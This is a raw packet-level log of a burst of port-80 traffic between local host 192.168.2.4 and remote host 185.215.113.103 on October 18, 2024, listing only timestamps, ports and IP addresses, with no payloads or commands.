Oct 18, 2024 15:04:10.957879066 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.957912922 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.959197044 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.959209919 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.959219933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.959244967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.959269047 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.960961103 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.960990906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.961002111 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.961014986 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.961034060 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.961069107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.962551117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.962565899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.962577105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.962620974 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.962630987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.964162111 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.964195013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.964205027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.964216948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.964237928 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.964287996 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.965704918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.965718985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.965729952 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.965766907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.965787888 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.967423916 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.967437983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.967448950 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.967462063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.967479944 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.967509985 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.968374968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.968389034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.968399048 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.968430042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.968456030 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.970298052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.970313072 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.970323086 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.970335960 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.970372915 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.970397949 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.971457958 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.971471071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.971481085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.971493959 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.971515894 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.971544981 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.972855091 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.972871065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.972882986 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.972918987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.972934008 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.973777056 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.973789930 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.973800898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.973844051 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.973869085 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.975236893 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.975254059 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.975265026 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.975277901 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.975291967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.975316048 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.976365089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.976378918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.976392031 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.976408958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.976444006 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.978543043 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.978559017 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.978570938 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.978605986 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.978625059 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.979363918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.979377985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.979399920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.979412079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.979429960 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.979456902 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.979482889 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.981864929 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.981878042 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.981890917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.981915951 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.981930971 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.982760906 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.982774019 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.982785940 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.982820988 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.982873917 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.985248089 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.985261917 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.985272884 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.985285997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.985311031 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.985335112 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.986114979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.986126900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.986138105 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.986169100 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.986187935 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.988723040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.988735914 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.988745928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.988804102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.989540100 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.989552975 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.989562988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.989574909 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.989607096 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.989607096 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.992364883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.992379904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.992392063 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.992419958 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.992439032 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.993429899 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.993444920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.993458033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.993490934 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.993515015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.996531963 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.996568918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.996579885 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.996630907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.996659040 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.997551918 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.997607946 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:10.998038054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.998050928 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:10.998094082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.000221968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.000236988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.000310898 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.002281904 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002298117 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002342939 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.002701998 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002715111 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002724886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002737999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.002753019 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.002837896 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.004946947 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.004991055 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.005004883 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.005027056 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.005048037 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.007539988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.007555008 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.007565022 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.007613897 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.007642984 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.009071112 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.009088039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.009098053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.009111881 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.009134054 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.009159088 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.011684895 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.011701107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.011712074 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.011756897 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.011790991 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.012746096 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.012762070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.012774944 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.012799978 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.012819052 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.014605999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.014621973 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.014631987 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.014646053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.014666080 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.014693022 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.015650988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.015665054 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.015674114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.015707016 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.015732050 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.017127991 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.017142057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.017153025 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.017188072 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.017205000 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.018696070 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.018709898 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.018722057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.018738985 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.018755913 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.018783092 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.019464016 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.019476891 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.019520998 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.020917892 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.020973921 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.021212101 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.021224976 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.021260023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.021826029 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.021841049 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.021879911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.023303032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.023318052 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.023328066 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.023365021 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.023391008 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.023931980 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.023945093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.024029970 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.025469065 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.025485039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.025525093 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.026073933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.026089907 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.026132107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.027537107 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.027579069 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.027590990 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.027626038 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.027640104 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.028244972 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.028269053 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.028309107 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.029315948 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.029331923 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.029371023 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.030466080 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.030483007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.030519962 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.030548096 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.031183004 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031197071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031233072 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.031645060 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031658888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031672001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031685114 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.031706095 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.031718969 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.032253027 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.032268047 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.032279968 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.032306910 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.032318115 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.033539057 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.033560038 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.033574104 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.033596992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.033612967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.034034967 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.034049034 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.034060001 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.034074068 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.034084082 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.034099102 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.034128904 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.035934925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.035953999 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.035964966 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.035998106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.036024094 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.036133051 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036148071 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036159039 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036183119 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.036209106 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.036942005 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036957979 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036967993 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036979914 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.036995888 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.037058115 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.037209988 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.037220955 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.037230015 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.037281990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.037281990 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.046819925 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.046844959 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.046857119 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.046941042 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.047461033 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.047471046 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.047477007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.047518015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.048002005 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048019886 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048029900 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048058987 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.048079967 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.048721075 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048732996 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048743010 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048749924 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.048773050 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.048787117 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.049325943 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.049348116 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.049372911 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.049396992 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.049751997 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.049762964 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.049772978 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.049799919 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.049825907 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.050414085 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.050426006 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.050462008 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.050607920 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.050620079 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.050630093 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.050649881 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.050678015 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.051182032 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.051214933 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.051229000 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.051234007 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.051268101 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.051280022 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.057430983 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.057533026 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.057559013 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.057571888 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.057604074 CEST	49799	80	192.168.2.4	185.215.113.103
Oct 18, 2024 15:04:11.057954073 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.057965040 CEST	80	49799	185.215.113.103	192.168.2.4
Oct 18, 2024 15:04:11.057976007 CEST	80	49799	185.215.113.103	192.168.2.4
